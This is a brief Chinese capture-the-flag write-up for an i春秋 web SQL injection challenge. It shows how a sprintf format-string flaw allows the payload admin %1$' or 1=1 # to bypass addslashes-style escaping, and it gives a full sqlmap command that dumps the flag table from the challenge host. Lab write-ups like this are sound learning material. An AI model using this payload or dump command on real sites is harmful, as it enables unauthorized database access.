i春秋-Web-SQLi

一道注入题,登录页面。

试了常见的万能密码,无效,不存在弱口令。

使用BP,看下过滤了哪些字符。

BP-1

发现参数含有%时,报错。

SQLi-1

提示 Warning: sprintf(): Too few arguments in /var/www/html/index.php on line 18,根据提示,判定可能存在sprintf格式化字符串漏洞

看下sprintf函数的描述。

Info-1

可以构造payload:admin %1$' or 1=1 #,顶掉占位符,注入sql语句。此处,提示password error!

此处不回显内容,但是有错误提示,只能盲注。

可以直接用sqlmap跑出来

1
python sqlmap.py -u "http://b968f913d88e4ce5b916d5f6a2badf2e4568f7626bc84863.game.ichunqiu.com/" --data "username=admin%1$' * #&password=12345" --no-cast -p username --level 3 -T B -D ctf -T flag -C flag --dump

SQLi-2

参考链接

php中利用格式化字符串漏洞绕过addslashes注入

文章目录
  1. 1. 参考链接
|